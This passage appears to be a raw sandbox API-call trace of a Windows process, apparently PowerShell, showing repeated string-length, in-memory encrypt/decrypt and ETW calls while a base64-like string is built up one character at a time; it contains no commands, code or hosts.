MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64VeZ5퇃") returned 0x28 [0135.424] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x818e\xe1ff\x880d\xb8c8\x26\x9e6d\x1e5b\x8b50") returned 0x28 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x818e\xe1ff\x880d\xb8c8\x26\x9e6d\x1e5b\x8b50") returned 0x28 [0135.424] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64VeZ5V") returned 0x28 [0135.424] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\xbe9d\xf52d\x4fc7\xbe45\xf50f\x853c\x35d7\xd67") returned 0x28 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\xbe9d\xf52d\x4fc7\xbe45\xf50f\x853c\x35d7\xd67") returned 0x28 [0135.424] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64VeZ5VK") returned 0x28 [0135.424] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca") returned 0x28 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca") returned 0x28 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca") returned 0x28 [0135.425] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca") returned 0x30 [0135.425] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.425] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64VeZ5VKj蚸艏霼歉䰲㴊鐙") returned 0x30 [0135.425] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.425] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca\xb548\x8a43\x4c9e\x79e2\x3762\xb8b0\x554b\x42b6") returned 0x30 [0135.425] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca\xb548\x8a43\x4c9e\x79e2\x3762\xb8b0\x554b\x42b6") returned 0x30 [0135.425] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.425] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64VeZ5VKjY艏霼歉䰲㴊鐙") returned 0x30 [0135.425] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.425] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca\x9f7c\x170f\xd235\x4683\x111\xbd8e\xd59b\x4b2e") returned 0x30 [0135.425] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca\x9f7c\x170f\xd235\x4683\x111\xbd8e\xd59b\x4b2e") returned 0x30 [0135.425] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.425] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64VeZ5VKjYw霼歉䰲㴊鐙") returned 0x30 [0135.425] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.425] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca\x21f7\x2d80\x494c\xe7c4\x6bf5\x785f\x537a\x9cbd") returned 0x30 [0135.425] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x1d84\x8692\xf107\x963a\xaf89\x58a7\x78f1\xa4ca\x21f7\x2d80\x494c\xe7c4\x6bf5\x785f\x537a\x9cbd") returned 0x30 [0135.425] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.425] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64VeZ5VKjYw=歉䰲㴊鐙") returned 0x30 [0135.425] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.425] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.425] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.425] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.426] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.426] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.426] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.426] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.426] SysStringLen (param_1="") returned 0x8 [0135.426] SysStringLen (param_1="Y") returned 0x8 [0135.426] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.426] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.426] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.426] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.426] SysStringLen (param_1="YW") returned 0x8 [0135.426] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.426] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.426] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.426] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.426] SysStringLen (param_1="YWM") returned 0x8 [0135.426] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.426] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.426] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.426] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="YWM1") returned 0x8 [0135.427] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.427] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.427] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="YWM1O") returned 0x8 [0135.427] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.427] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.427] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.427] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.427] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.427] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.427] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.427] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.427] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.427] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.427] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.428] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.428] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.428] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.428] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.428] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.428] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.428] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.428] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.428] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.428] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.428] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.428] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.429] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.429] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.429] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.429] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.429] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.429] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.429] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.429] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.429] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.430] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.430] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.430] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.430] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.430] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.430] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.430] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.430] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.430] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.431] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.431] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.431] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.431] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.431] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.431] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.431] 